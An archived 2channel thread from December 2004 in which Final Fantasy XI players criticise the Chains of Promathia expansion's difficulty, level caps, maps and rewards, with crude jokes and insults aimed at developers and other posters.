5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

低レベル参加不可能ディスク・プロマシアは大失敗3

1 :既にその名前は使われています:04/12/01 17:52:22 ID:ZuUO/eJw
とりあえず民族衣装をああいう形で公開しておいて超ジョブ限定
低レベルでも楽しめます>薬前提で低レベルでは無理です。
仕掛けを楽しんでください>ミッションで必ずいくところに設置するのはただの嫌がらせ。
Mをクリアしていくうちに世界が広がります>クリアしないと追加ディスクの意味がありません。

ムバロポロスがレベル上げで訪れることになるとおもいます。>範囲WSつよすぎで狩りたくもありません。MOBも糞です。
制限エリア>かたっぱしからインスニ見破りがいます。ただでは探索させません。もちろん回避不能の配置です。
ギルド桟橋>1時間待ちです。
ビビキー>ウラグナイトの毒範囲>レベル70でもへたすりゃ死にます。
ウルガラン>タウロスの配置が嫌がらせです。そもそも坂道くだり失敗したら何分かかるとおもってんだ!上りなおしに
アットワ>ドロップ修正および買い取り金額を低下させました。速攻で。第二のメリファトをお楽しみください。
タブナジア>あのOPの場所にはいけません。近くの穴倉に住んでるだけです。いってもとくに特典はありません。

クエ全般>4章まで行かないとほとんど追加クエうけれません。でもうけれても報酬は3000ギルとかで出費のが多いです

>>950 もし行ったら次スレお願いします。
12/9は吉と出るか凶と出るか・・・


2 :既にその名前は使われています :04/12/01 17:52:55 ID:PwO3D4em


3 :既にその名前は使われています:04/12/01 17:55:25 ID:Z2ZZn4R+
白は外部からケアルよろ〜w

4 :既にその名前は使われています:04/12/01 17:56:45 ID:7Xt9cKDU
>>2
中身も無いくせに何必死になって「2」とか言っちゃってんの?wwww



5 :既にその名前は使われています:04/12/01 17:56:59 ID:TdQOLZWX
952 既にその名前は使われています 04/12/01 17:50:15 ID:K+T/qAgg
>>939
間違いであることを証明できるか?
実際、ヴァナでは誰も彼もがタブナジア行けるわけだが、
多くの人間がクリア出来る事柄に対して難しいというのはおかしいのではないか?

一応運んでおきますね。

6 :既にその名前は使われています:04/12/01 17:57:27 ID:ZuUO/eJw
しかしここんとこのスレ消費スピードはすげぇな。

7 :既にその名前は使われています:04/12/01 17:57:35 ID:07im4h+7
>>1
おつ 
998get

8 :既にその名前は使われています:04/12/01 17:58:49 ID:7Xt9cKDU
>>3
サポ白にしてこいやヴォケがぁぁぁぁぁぁっ!!!ヽ(`Д´)ノ

9 :既にその名前は使われています:04/12/01 17:59:25 ID:KTgtCkGM
>>14
好きだ

10 :既にその名前は使われています :04/12/01 17:59:54 ID:PwO3D4em
  ☆ チン     マチクタビレタ〜
                        マチクタビレタ〜
       ☆ チン  〃  ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
        ヽ ___\(\・∀・) < ID:K+T/qAggまだ〜?
            \_/⊂ ⊂_ )   \_____________
          / ̄ ̄ ̄ ̄ ̄ ̄ /|
       | ̄ ̄ ̄ ̄ ̄ ̄ ̄|  |
       |  愛媛みかん  |/



11 :既にその名前は使われています:04/12/01 18:02:07 ID:MXZE3e9b
きてほしくない、、

12 :既にその名前は使われています:04/12/01 18:03:28 ID:SLhNnhGH
オゾンや負け犬並の巨匠

13 :既にその名前は使われています:04/12/01 18:03:59 ID:TdQOLZWX
>>11
プロマシアの問題点なんて皆知ってるよ。
怠惰なループを繰り返すよりも、彼を構う方が面白い。

14 :既にその名前は使われています:04/12/01 18:04:04 ID:ZuUO/eJw
>>10
まつまえに向こうを1000までうめようぜ!

15 :既にその名前は使われています:04/12/01 18:06:15 ID:ppZ254dO
>>14
>>9の告白に応えてやれよ^^

16 :既にその名前は使われています:04/12/01 18:09:02 ID:ZuUO/eJw
>>15
うあ!きづかなかったw
>>14
【すいません】【ヒューム】【男】【いりません】
【エルヴァーン】【女】【エキサイト】【夜】【ください】

17 :既にその名前は使われています:04/12/01 18:10:49 ID:TdQOLZWX
【タルタル】【リトルワーム】【練習相手にもなりません】【ごめんなさい】

18 :既にその名前は使われています:04/12/01 18:12:28 ID:ZuUO/eJw
■はこんなタブの使われ方で
「好評でうれしい」
とかいうからな。ちょっとしんじられないよな。

19 :既にその名前は使われています:04/12/01 18:12:43 ID:Z2ZZn4R+
【カッパ】【エル】【クリティカル】【喰らいまくり】【いりません】【さようなら】

20 :既にその名前は使われています:04/12/01 18:13:16 ID:07im4h+7
【お尻】【舐めてください】

21 :既にその名前は使われています:04/12/01 18:14:08 ID:ZnfRhHMp
>>19は無理があると思う

22 :既にその名前は使われています:04/12/01 18:14:11 ID:lYrTL2Uj
このスレで初めて知ったんだけど、OPの場所のタブナジアって行けないの??
まさか、ルフェーゼ野って所から眺めてるだけ??

うそだろ?w


23 :既にその名前は使われています:04/12/01 18:14:58 ID:ZuUO/eJw
いけないよ。
ちかくの穴倉にすんでるだけ。

24 :既にその名前は使われています:04/12/01 18:18:08 ID:THjFvtkj
>>22
行けるようになるんじゃないか?
プロMにはアルドも絡んでるし、あそこには流れ的に
何かしらの重大な要素があったりなかったりすると思う。

25 :既にその名前は使われています:04/12/01 18:18:11 ID:MXZE3e9b
>>13
彼のレス見てると何やら薄ら寒くなってくるもんで、、読んでて少し怖くなりました。

26 :既にその名前は使われています:04/12/01 18:20:12 ID:OSc7s3Do
前スレ1000、ネ実では初めてマトモな1000を見たよ。

でも明日あたりID変わったらまた遊びにくるんだろうね。

27 :既にその名前は使われています:04/12/01 18:26:58 ID:MXZE3e9b
もうお腹一杯ですよ、明日は来ないことを祈りつつ帰宅します。
それでは〜 (・ω・)ノシ

28 :既にその名前は使われています:04/12/01 18:29:06 ID:F4RHzUOk
対象スレ: 低レベル参加不可能ディスク・プロマシアの大失敗2
キーワード: ID:K+T/qAg
511 名前:既にその名前は使われています[] 投稿日:04/12/01(水) 00:30:53 ID:K+T/qAgg
難易度調整入ると吉報入っても相変わらずのふてくされっぷりにワラタ

569 名前:既にその名前は使われています[] 投稿日:04/12/01(水) 11:54:33 ID:K+T/qAgg
まぁ多分難易度修正は応竜だけだろうね。
プロミメアホラデムむずかしいって言ってるのってこのスレだけだし

586 名前:既にその名前は使われています[] 投稿日:04/12/01(水) 13:01:25 ID:K+T/qAgg
>>582
間違いなく応竜「だけ」難易度下がると思うけど。
ぶっちゃけメアホラデムなんて難易度高いとはいえないし

591 名前:既にその名前は使われています[] 投稿日:04/12/01(水) 13:11:29 ID:K+T/qAgg
>>588
どこだろうと終わったミッション行きたがる奴なんていないだろw

>>587
メアの回転木馬が強いだけでちょっと気をつければアホでも出来る

29 :既にその名前は使われています:04/12/01 18:31:37 ID:F4RHzUOk
725 名前:既にその名前は使われています[] 投稿日:04/12/01(水) 16:18:50 ID:K+T/qAgg
>>719
俺を殴った奴を仕返しに殴り返したら、殴り返された奴だけが「被害者」なのか?
33 名前:既にその名前は使われています[] 投稿日:04/12/01(水) 16:23:43 ID:K+T/qAgg
>>727
ほう、じゃあ聞くが、
暴漢に襲われた俺が、暴漢を撃退したら暴漢は被害者になるのか?
正当防衛だろう。
あくまでも俺は身勝手な妄想に取り付かれた人間に「襲われた」立場だが?
750 名前:既にその名前は使われています[] 投稿日:04/12/01(水) 16:31:14 ID:K+T/qAgg
>>746
プw
負けそうになると「スライムは仲間を呼んだ!」

30 :既にその名前は使われています:04/12/01 18:32:19 ID:4oFHs596
>>28-29
NG設定してる方のためにレス

31 :既にその名前は使われています:04/12/01 18:35:57 ID:jFCbgIXJ
しかし、ああ言えばこう言うの典型的タイプだな。
いつまで経っても負けを認めたくないというか。
こういうのは放置が一番効くから、これ以上うるさいようだとあぼん行きだな。

32 :既にその名前は使われています:04/12/01 18:38:17 ID:zoF++3A7
かわいそうなひとなんだな
施設のひとが困ってるだろ。もう出てくるなよ。>K+T/qAgg
漏れらの税金の一部くれてやってるんだからたのむよ。


33 :既にその名前は使われています:04/12/01 18:39:01 ID:jFCbgIXJ
ああ、忘れてた。
コッチは普通に修正について論議しよう。
修正の対象の話までだったな。

とりあえず、応竜は対象にならないとダメだろうな。
次はプロミ、リヴェ、ディアボロ辺りか。
この辺りは難しいと言ってる人が多いし、
修正対象になるべきだと思う。
1人や2人が簡単だからおkっていうのはいかんだろう。

まあ、■がそこまで考えていたらの話だが・・・

34 :既にその名前は使われています:04/12/01 18:39:27 ID:SLhNnhGH
社内では大失敗の責任の擦り付け合いなんだろうか

35 :既にその名前は使われています:04/12/01 18:43:54 ID:4oFHs596
3国はどうなんだろうねえ?
敵の配置変更とか玉の外れをなくすか弱くするかあたりをしてくるんだろうか?
とりあえず30だからジョブを揃えられないことは無いが
できたらLSで各々がメインとしているジョブでクリアしてみたいのう

36 :既にその名前は使われています:04/12/01 18:44:42 ID:Ckv/RVTi
トリビューンの記事を参考にすれば
プロミヴォンも楽々攻略できるよ!!!!!!!!!!!!

37 :既にその名前は使われています:04/12/01 18:45:42 ID:F4RHzUOk
>>33
まぁ、正直言ってあんま難易度下げて中華やヤンキーに
来て欲しくないな。
もっと別のベクトルで補助すべき様な黄ガス。
3国ミッソンみたいにreflagでも金貰える様に
クリア済みは1〜3マソ報酬って誰か書いてたけど
そっちかなぁ。後失敗時のロスト緩和とか。
それと、折角エリア増えたんだから狩場に使える様に
再配置とモンス弱体だな。

38 :既にその名前は使われています:04/12/01 18:45:57 ID:THjFvtkj
ワープの雑魚が玉を倒したと同時に消えるようにしてほしいね。
あれのせいで事故が絶えないし、第二・第三階層で事故られたらマジで困る。

39 :既にその名前は使われています:04/12/01 18:48:37 ID:94LRUuMf
>>34
かなりギスギスした人間関係が想像できて笑うなw

40 :既にその名前は使われています:04/12/01 18:49:25 ID:OX4+m/xs
どう考えても責任は河豚と田中に行き着くだろう

41 :既にその名前は使われています:04/12/01 18:52:59 ID:ZuUO/eJw
開発部便りスレ見てて思ったんだが

20 名前: 既にその名前は使われています 投稿日: 04/12/01 12:32:14 ID:K+T/qAgg
開発だより更新しなかったら文句言うくせに
更新しても文句言う。
いくらなんでも調子よすぎ

らしい・・・社員だろ

42 :既にその名前は使われています:04/12/01 18:54:46 ID:4oFHs596
>>41
いくら■が馬鹿でもあのレベルはさすがに採用しないだろw

43 :既にその名前は使われています:04/12/01 18:55:15 ID:NXKbSl9h
ここ数日、真性が多かったのは開発豚よりくること前提の火消しって訳か

失った信用はそう簡単に戻るわけないじゃん〜

44 :既にその名前は使われています:04/12/01 18:55:46 ID:TTqmr9IK
開発だよりが更新されない時の文句と、更新されてその内容に対する文句じゃかなり違うと思うんだけど、
彼は『文句を言っているという事』だけを問題にして、文句の内容を深く考える事はないだろう。

45 :既にその名前は使われています:04/12/01 18:55:46 ID:8TwBDy77
つうか、なんか一言いいたいんだろ。

リアルお子様なだけだとおもうぞ。
あと、予想にもとづく根拠にしたがった無意味なプライドが高いのかもな。

46 :既にその名前は使われています:04/12/01 18:57:46 ID:SLhNnhGH
でも仕様発表のおかしな日本語といい
どう解釈したらそんな修正になるのかと言う斜め上の勘違いを見る限り・・・

47 :既にその名前は使われています:04/12/01 19:00:23 ID:jFCbgIXJ
>>37
確かにそうだな。
日本人 < 簡単だ!
他国 < qあwせdrftgyふじこlp;@:「」

な難易度が出来れば神なんだがw

48 :既にその名前は使われています:04/12/01 19:04:04 ID:mpUeVe5M
>>47
日本語と英語でクイズってのはどうだ?結構ネイティブ以外には判らないような感じの難問を。

49 :既にその名前は使われています:04/12/01 19:04:48 ID:8TwBDy77
ぶっちゃけ、中華はどんなに簡単になってもプロミオンやらない気がす・・。
だって、タブナジアいけてもうまいこと何もな(ry

ただ、彼ら限界2も超えられないらしいので、
そんな彼らにも簡単なほどな難易度ってどんなやって話もある。

50 :既にその名前は使われています:04/12/01 19:11:28 ID:ZuUO/eJw
age

51 :既にその名前は使われています:04/12/01 19:12:55 ID:xeBFDJW/
>>47
日本語でクイズ
答えは選択ではなく入力式

NA版でも、日本語で出題

これでいいじゃんwwwwww

52 :既にその名前は使われています:04/12/01 19:14:06 ID:jFCbgIXJ
>>48>>51
それだ!w

53 :既にその名前は使われています:04/12/01 19:14:37 ID:NEP/3AKa
それで日本人でも答えわからん奴続出する程の問題出したら笑えるな

54 :既にその名前は使われています:04/12/01 19:22:06 ID:jFCbgIXJ
部類によっては大変なことになるなw

司会 < それではエル白さん、パネルを選んで下さい
エル♀白 < 政治の40
ヒュム♂F4内藤 < うはwwwwwww

55 :既にその名前は使われています:04/12/01 19:31:09 ID:CtZSXypG
日本語なら読めないから何でもいいんじゃない?
ドラえもんの嫌いなものは?とか

56 :既にその名前は使われています:04/12/01 19:33:44 ID:0D3YBlRS
>>55
どら焼きって答えたらBANされたお;;

57 :既にその名前は使われています:04/12/01 19:36:10 ID:CtZSXypG
ドラえもんの好きなものは?だと
餅!とか答えるオサーンがいるかもなので嫌いなものにした。

58 :既にその名前は使われています:04/12/01 19:40:36 ID:ppZ254dO
>>57
オサーンが知らないって…
ドラえもんの歴史って35年ぐらいあるんじゃなかったっけ。

59 :既にその名前は使われています:04/12/01 19:40:51 ID:K6c1gPay
斜め下っぷりからいくと、

■<霧消蒸散石で二度と飛ばなくしました。
■<ただし、尾羽ドロップは若干下がっている可能性があります。

こういう気が巣

60 :既にその名前は使われています:04/12/01 19:42:07 ID:ZuUO/eJw
そもそも何で応竜飛ばしたんだろうね?
ミッションでまったくの役立たず状態になってしまうジョブが生まれる可能性を考えなかったのかな?

61 :既にその名前は使われています:04/12/01 20:20:32 ID:JOv6plUy
狭い意味での戦闘の難易度は落とさなくていいって
意見にはある程度同意できなくもない。

しかしそれは、1度到達したらBC前まで跳べるように、
勝ってもBC前に出られるように、負けても回線抜きしないで
BC前に出られるように、等が実現されていれば、という条件でだ

それと装備準備の面倒くささも何とかしろ。
モグ数倍拡大か、制限Lvより上の装備の一時性能低下システムか

62 :既にその名前は使われています:04/12/01 20:22:58 ID:NXKbSl9h
>>60
バスミッションでスライムだして物理ジョブが役にたたないような内容にしたのは…

63 :既にその名前は使われています:04/12/01 20:23:01 ID:ddTkrkMe
>>60
だって竜は飛んだ方がかっこいいじゃん^^

くらいの考えだと思う

64 :既にその名前は使われています:04/12/01 20:24:36 ID:JOv6plUy
>>61 であげたような事を放置したまま、戦闘の難易度を下げるだけ
という安直な処置だけでは全然だめだろう

65 :既にその名前は使われています:04/12/01 20:28:55 ID:WVkJTWij
飛んでもいいけどジャンプすると背中に飛び乗って
槍を突き刺して超スリップ状態にでもなってくれねーかなあ…

勿論攻撃はされないけど振り回されてこっちもスリップとか
一定確率で落とされるとかさ


66 :既にその名前は使われています:04/12/01 20:30:13 ID:p007L6zB
バランスとるつもりがあるならFFXI自体こんなウンコにならねぇって。
すべてが壮大な実験なんですよw

67 :既にその名前は使われています:04/12/01 20:40:36 ID:+Z9owSVP
FFとウンコって何が違うの?

68 :既にその名前は使われています:04/12/01 20:48:36 ID:JOv6plUy
>>67
ウンコは優れた有機肥料だから、歴史的には回収する側が
買ってた事もあったくらいだ。FFとは違う

69 :既にその名前は使われています:04/12/01 20:53:19 ID:jFCbgIXJ
>>67-68
ワラタw

70 :既にその名前は使われています:04/12/01 20:56:25 ID:W9azXiD0
・レベル制限帯で、経験値がフルに入る。
・チェーンボーナスがつく。

この2つだけで、プロ 活性化すると思うけどね。

BC自体の難易度は、あれでいいと思う。
ただ、未クリアの人が、クリア目指したくなるようなご褒美、
手伝いクリアでも、手伝いにきたくなる動機付けがまったくなかった。
制限レベルゆえに、スキルUPがない、というのは、長時間ツアーには致命的。

スキルupないのなら、経験値フルに入れろ。
チェーンさせろ。

71 :既にその名前は使われています:04/12/01 21:12:10 ID:pLJYVN5m
>>58
ドラえもんは最初お正月にのび太んちにやってきてのび太のおもちをうまいうまいと食い漁ってた
1巻第1話参照

72 :既にその名前は使われています:04/12/01 21:14:56 ID:ewBByKDV
うまいっていったら好きって訳じゃないだろ?
なんとも思ってない食べ物でも食ったらウマイの一言ぐらいだれでも言うだろ

73 :既にその名前は使われています:04/12/01 21:16:13 ID:pLJYVN5m
>>72
いや、まあそうだけど・・・1話しかみてないオサーンは勘違いするかな・・・と・・・・

スマンorz

74 :ドラえもん:04/12/01 22:39:30 ID:EY7GcGAh
>>73
好きなもの?ああアジの刺身は最高だね!

ドラ焼き?ああ、プロフィール上はそうしてるよ
子供の夢は壊したくないからな。

75 :既にその名前は使われています:04/12/01 22:58:11 ID:A9AJLFtm
とりあえず、田中はシネ

76 :既にその名前は使われています:04/12/01 23:12:25 ID:XOIj5lvR
金払って買ったのに「糞」拡張しやがって
出遅れた俺はまだプロミMを経験できてない
って言うか誰も行ってくれないんだが・・
マジ何とかしてくれ!
クイズに答えて当たったら新エリア行かせてくれよ!

77 :既にその名前は使われています:04/12/01 23:36:35 ID:u9V1Z/Hu
イベントムービー

エリア移動

BC

イベントムービー

エリア移動

BC

(以下同様)

78 :既にその名前は使われています:04/12/01 23:52:13 ID:FRaw8wSC
前スレの見事なまでの文盲勘違いぶり
わらかしていただきました。

79 :既にその名前は使われています:04/12/02 00:16:02 ID:DID9YQ4J
>>78
スレが変わって全く来なかったところを見ると、
逃げ出したくてたまらなかったんだろうなw

80 :既にその名前は使われています:04/12/02 00:38:37 ID:o2NVZvWq
                .,∧、
              .r-‐i'''''''''''i''''‐-、
             o| o! .o  i o !o
            .|\__|`‐´`‐/|__/|
             |_, ─''''''''''''─ ,、 / _   <修正されるのはサイコーテクのオレが  
            \∠二ニ=、ノ=ニ二ゝ\     クリアできない応竜だけだろうな。
           ノ ̄  (o)_,:   _(o)  :::)     ヴォンなんて簡単だよでも手伝いたくはない 
          (      ,(_。_;。_)、 ;;;;;;人    ヴォンが簡単なのはオレは一発でクリアできたから。 
          / ̄――ノ  __;__ ` ::::::::::\   でもどんなだったかは言えない。
         (      / i゙''''''''''`l ヽ ::::::::::::::)  
          \__:::::: ヽ===-'  ;;;;;;;;;;;ノ


81 :既にその名前は使われています:04/12/02 00:40:59 ID:RKkuvFQT
12/9が楽しみですねage。


('A`) うんこ多すぎて全然直せていないに30虚ろ

82 :既にその名前は使われています:04/12/02 00:42:46 ID:CcBUMDdL
ウンコウンコ言うなよ、ウンコに失礼だろ。

83 :既にその名前は使われています:04/12/02 00:43:43 ID:6+qzkdRB
人間一人が一生のうちにひりだすウンコの重さは
約10d

84 :既にその名前は使われています:04/12/02 01:13:02 ID:T8bfJ5HD
プロマも■eお得意の「壮大な実験」だったというなら、
オフゲーまんま導入は失敗だったと多分学習出来たはず。

多分

85 :既にその名前は使われています:04/12/02 01:30:36 ID:uGipT2lR
なんだ結局坊や、来なかったのかツマンネw

86 :既にその名前は使われています:04/12/02 01:36:24 ID:R+xF1g77
まぁまて、ヤツはそのうち現れるかもしれないじゃないか。

87 :既にその名前は使われています:04/12/02 01:48:11 ID:OIgzsw5K
ミッションの難易度がどう変化てもなぁ…。
ミッションに興味ない俺からすると、ミッションしかないプロマシアはウンコディスクに変わりない。

88 :既にその名前は使われています:04/12/02 01:49:48 ID:q+U7Qi6h
田中 河本は無能サラリーマン

ひげ 植松はクリエーター

89 :既にその名前は使われています:04/12/02 03:38:41 ID:FKBya3oZ
完全に製品未満だった詐欺増しあに
修正入ったところで糞増したに変わりなし。

修正で過疎地が活気ずくならいまごろ
ノーグは第二のジュノになってる。

結局ジュノ市民なのに変化ないだろな。

90 :既にその名前は使われています:04/12/02 04:51:40 ID:T8bfJ5HD
■eは、とりあえず開発だよりの一文を修正しろ。何、体裁つけてんだよ。

×難易度調整が行われます。
○特定ジョブしか参加出来なかった不具合の修正をします。

個人的には死ぬほど難しくていいんだが、ジョブ選別だけは納得いかん。
ジョブ選別を無くすためには、敵を弱くするしか方法が無いという底の
浅いゲームだと■e自ら認めている様なので、生暖かく見守るしか無いか。

91 :既にその名前は使われています:04/12/02 05:56:21 ID:IDVYnO6U
■e<底?ああ、底は浅くないですよ。ただ、見せないようにしてるだけなんですw

92 :既にその名前は使われています:04/12/02 07:24:56 ID:ELUnzHYT
>>90
攻略するためのジョブ選定無くすってことは、難易度の下方修正しかないだろ池沼

93 :既にその名前は使われています:04/12/02 07:34:26 ID:gofrKqhC
インポレスの記事、今月のUPでプロマMの難易度緩和と言い切ってるが、
単純に難易度下げてくるとは思えないよね。10月もヴォンのワープ出てる時間を延ばした一方で、
弱体アイテムを弱体したり、オウリュウララバイ完全レジと締め付けてるし。


河豚と樋口辺り、いい加減更送すればいいのに。

94 :既にその名前は使われています:04/12/02 07:39:45 ID:onWakNkP
プロマMのBCなんてM5-1の骨戦とかレベル60でのM5-2くらいの難易度でいいんだよ。

えっ?そんなんじゃ足止めできないって?w

95 :既にその名前は使われています:04/12/02 07:51:45 ID:1xbt3KNS
プロマって一種の詐欺だよな

96 :既にその名前は使われています:04/12/02 08:14:46 ID:nlmdgQv/
最近、田中も河豚もやばいが、和田は更にやばいと思うようになってきたんだが・・・

97 :既にその名前は使われています:04/12/02 08:16:22 ID:R+xF1g77
>>96
和田って??

98 :既にその名前は使われています:04/12/02 08:21:40 ID:wTBFj5m+
シャチョサン

99 :既にその名前は使われています:04/12/02 08:22:42 ID:waaDzoJb
もしかして、プロミも3国ミッションと統一ミッションみたいに
構想段階では別れてたとかいわねぇよな?

100 :既にその名前は使われています:04/12/02 08:55:09 ID:MRmCKITk
>>99
構想段階で分かれてたっ?

101 :既にその名前は使われています:04/12/02 08:55:32 ID:MRmCKITk
ごめ、文字かけた。

構想段階ってわかれてたって?詳しくきぼん。

でした。

102 :既にその名前は使われています:04/12/02 09:04:37 ID:uGipT2lR
>>101
ああ、自国の盆だけやればいい形式って事だろ。
それはないだろ。

103 :既にその名前は使われています:04/12/02 09:20:48 ID:u3JC/ey/
プロマシアエリアにクエストを追加するとか言うけど、
どーせ敵を倒してアイテムもってこいとか、護衛とかそんなもんでしょ?
くだらねぇ

104 :既にその名前は使われています:04/12/02 09:34:38 ID:o9y6XicS
レベル制限でフルアラ前提or超奪い合い&糞ドロップのアイテム数種類持って来いと見た。
礼拝堂や、リヴェの鐘の所までいくのもありそうだ・・・。装備一応揃えておこうかの。

105 :既にその名前は使われています:04/12/02 09:37:03 ID:QOihpgVM
クエストやBC何か、いくら追加してもやりたいって思わせるようなものじゃないと意味がないよな。
特に最近のクエなんか、ミッションばりの難易度で多人数で行かなければならない。
特にプロマエリアのクエはレベル制限がかかるので、それが顕著に表れる。

クエストはソロで気軽に、ミッションはクエストの上位で多人数で

というコンセプトだと思っていたのになぁ・・・

106 :既にその名前は使われています:04/12/02 09:37:49 ID:oVSXHaJR
>>104
それが「鞄クエの続編」だったりして。

まぁ、プロマMの道中が楽になるからいいけど。

107 :既にその名前は使われています:04/12/02 09:40:18 ID:u3JC/ey/
レベル制限、はずしてほしいよほんと
リヴェなんて移動のたびに鱗が必要だから、ソロで探検もできやしない
プロマシアつくったやつら、全員クビにしてほしいよ
無能にも程がある

108 :既にその名前は使われています:04/12/02 09:43:23 ID:r710QQEy
難易度の調整というからには、簡単になるとは限らない

■<ショートカット可能にしたので、難易度はもっと高くしようw

109 :既にその名前は使われています:04/12/02 09:43:54 ID:8+CJjAR8
■e<新鞄クエを実装しました。プロミホラ・デム・メア・ヴァズのBC直前にある
■e<???から「だいじなもの」を入手してください。
■e<これでプロミヴォンに手伝いに来る人が少ない問題は回避した。

110 :既にその名前は使われています:04/12/02 09:46:17 ID:u3JC/ey/
>>109
記憶の塊を???にトレードでだいじなものゲットだな


111 :既にその名前は使われています:04/12/02 09:51:09 ID:pazfxyrX
>>96
露骨に延命を支持してるのは和田だもんな。
それに大手を振って賛成しているのが田中と河本だけど。

112 :既にその名前は使われています:04/12/02 09:52:49 ID:zOAKP8Kd
社員は社長のいうこと聞くしかないだろw

113 :既にその名前は使われています:04/12/02 09:52:50 ID:92Vr6PYV
■<ショートカットできるのは「だいじなもの」を所持しているプレイヤーのみになりますw
  未クリアの方がいる場合は従来通り付き合ってやってくださいwそれが絆ですからww

114 :既にその名前は使われています:04/12/02 09:53:39 ID:hjPxbijG
まぁ次の鞄クエの要求アイテムでも妄想しようじゃマイカ

115 :既にその名前は使われています:04/12/02 09:55:47 ID:8+CJjAR8
ヒポグリフの羽
コースの腕輪
イエローリキッド

116 :既にその名前は使われています:04/12/02 09:56:06 ID:waaDzoJb
モリブデンインゴット
カシミア織物


117 :既にその名前は使われています:04/12/02 09:56:54 ID:laJVrQgG
いい加減BC追加は秋田。
■eってBCシステムを素晴らしいもの、便利なものだと勘違いしすぎ。
今でも増えすぎちゃってどれが何やら把握出来なくなってるのに。
BCごとのレベル制限もウザすぎでもはや面倒。

もしかしてBC大量追加→レベル制限に合わせた装備を常備してねw
→プロマミッションの装備を用意するのが面倒な問題を回避した

とか思ってるんじゃないだろうな!

118 :既にその名前は使われています:04/12/02 09:58:43 ID:HrJLph4r
なんでショートカットヴァズだけなんだよ
やるならホラデムメアも一度BCいったら次はBCからにしてくれ

119 :既にその名前は使われています:04/12/02 09:59:38 ID:92Vr6PYV
■<ついでにRMT対策で導入されるアイテムは全てプロマシアMのBCから
  入手となりますw
  
  新しいクエ:ショートカット用アイテム入手クエ(プロマBC直前に配置)
  新しいBC:プロマシアエリアのBC
  RMT対策用アイテム:上記から入手
  モグ鞄クエアイテム:同上
  新モンスター:上記BCに登場(使いまわし)

こんなもんだろ・・・ 

120 :既にその名前は使われています:04/12/02 10:00:10 ID:lSlPBG5b
分かって無いなレベル制限できる上に限定エリアのBCは
「■にとって」素晴らしいもの、便利なものには間違いない。
情報収集、バランス調整等のコストがこれほど安上がりなものも無いし。
つまり全体に関わるようなモノを作れる才能や体力はもう無いってこった。

121 :既にその名前は使われています:04/12/02 10:01:42 ID:hjPxbijG
てか鞄増やさずに金庫増やせとおもた
寝釣りがいっぱい魚持てちゃうじゃないか
鞄は30だけにして金庫に200置けるように
鞄小さい分アイテム使わない戦闘バランスに

122 :既にその名前は使われています:04/12/02 10:01:55 ID:QOihpgVM
BCとか、ジュノ拠点とか、完璧にオフゲもしくはMO思考だよな■は・・・

123 :既にその名前は使われています:04/12/02 10:01:58 ID:dp7msu7T
■<「だいじなもの」を所持し、更にある特別なアイテム(エクレア)を使用することで
  ショートカットが可能になりますwww

124 :既にその名前は使われています:04/12/02 10:09:38 ID:92Vr6PYV
>>123
■<おまけに使用回数1回のエンチャントアイテムだったりしますwww

125 :既にその名前は使われています:04/12/02 10:10:50 ID:waaDzoJb
種族2もちゃんとクエで取れるようにして下さい。

126 :既にその名前は使われています:04/12/02 10:12:04 ID:EUETC8lo
AF2もちゃんとクエで取れるようにしてください。

127 :既にその名前は使われています:04/12/02 10:12:21 ID:fbgPUQ47
今までの行い見てれば、■eに期待するだけ無駄ってことだよ。
結局、今回のパッチでも無駄に時間だけがかかるものしか実装されなさそう。
呆れて解約するしかないんだろうなぁ・・・・・・

128 :既にその名前は使われています:04/12/02 10:18:01 ID:waaDzoJb
地図が箱から出るのもちゃんとクエで取れるか普通に買えるようにしてください。

129 :既にその名前は使われています:04/12/02 10:25:19 ID:kCG523QZ
>>72
激しく亀だが、
美味いと感じるからこその好物だと思うぞ。
つまり、美味=好物であって美味くない好物は有り得んし、
美味いと思ったら、それは何とも思ってない食べ物じゃなくて
程度の差こそあれ、好きな食い物に分類されるだろう。
好きじゃなかったら美味いとは思わないと桃う。

130 :既にその名前は使われています:04/12/02 10:26:30 ID:waaDzoJb
攻撃が当たらない不具合を修正して下さい

131 :既にその名前は使われています:04/12/02 10:28:13 ID:81Qho+mR
田中のイエローリキッド
田中のホワイトリキッド
田中のチンコに埋められているパール

132 :既にその名前は使われています:04/12/02 10:30:28 ID:EUETC8lo
苦労して取った新エリアの地図がまったく役に立たない不具合について。
新エリアのクエの労力と報酬がまったく釣り合ってない不具合について。

133 :既にその名前は使われています:04/12/02 10:33:51 ID:m8ETq1mL
アットワの地図は、ありゃ無いよなぁ。

ドラクエ8みたいな完璧な地図にしろとは言わんが
苦労して取って落書き見せられたんじゃ報われんよ。

134 :既にその名前は使われています:04/12/02 10:34:31 ID:zOAKP8Kd
>>129
ほんとに遅いレスだなw読んでた俺も俺だがw

お前の定義だと「うまいよね。このお菓子!俺大好物なんだよ!初めて食べたけど」
っていう不思議会話が成り立つんだけど?

135 :既にその名前は使われています:04/12/02 10:37:13 ID:81Qho+mR
>>133
ウルガランも礼拝堂も水道もひどいもんだぞ

136 :既にその名前は使われています:04/12/02 10:40:19 ID:waaDzoJb
盆に至ってはネションベソの染みだぞありゃ…

137 :既にその名前は使われています:04/12/02 10:40:32 ID:zOAKP8Kd
>>132
ぶっちゃけ
マーキングできて
座標がわかって
そのエリアが何階層あるのかわかるようにしてくれたら
マップいらないよな。
最初から白地図機能実装してくれたほうがよっぽど潔かった。

138 :既にその名前は使われています:04/12/02 11:13:38 ID:dp7msu7T
■<白地図帳をリアルで販売します。それに手書きで記入していってください。
   これで地図がまったく役に立たない不具合は回避したwwww

139 :既にその名前は使われています:04/12/02 11:24:24 ID:Yn4Z5uow
>>138
●<税込み1000円までなら買うyp

140 :既にその名前は使われています:04/12/02 11:27:59 ID:QeyqEuyk
>>101
ああ、なるほど、なっとく。
ありがとん。

141 :既にその名前は使われています:04/12/02 11:29:30 ID:QeyqEuyk
>>138 >>139
ぶっちゃけそれでいい。
昔は方眼紙にマスメきってうめてったもんだし。

つか、オートマッピングにしてくれれば神。

142 :既にその名前は使われています:04/12/02 11:30:02 ID:dp7msu7T
■<来期の売り上げも伸ばしたいから¥3,980 (税込)でよろーwwww
   おまけでDVDも付けてやる(田中と河豚のインタビュー)

143 :既にその名前は使われています:04/12/02 11:32:28 ID:8+CJjAR8
仮にも冒険者なんだからマッピングくらいしろって思うよなぁ。
リアルで紙にでも書いとけと言われたらそれまでだが・・・。

144 :既にその名前は使われています:04/12/02 11:35:16 ID:o9y6XicS
今は解析という便利なマップ入手方法ありますからね。

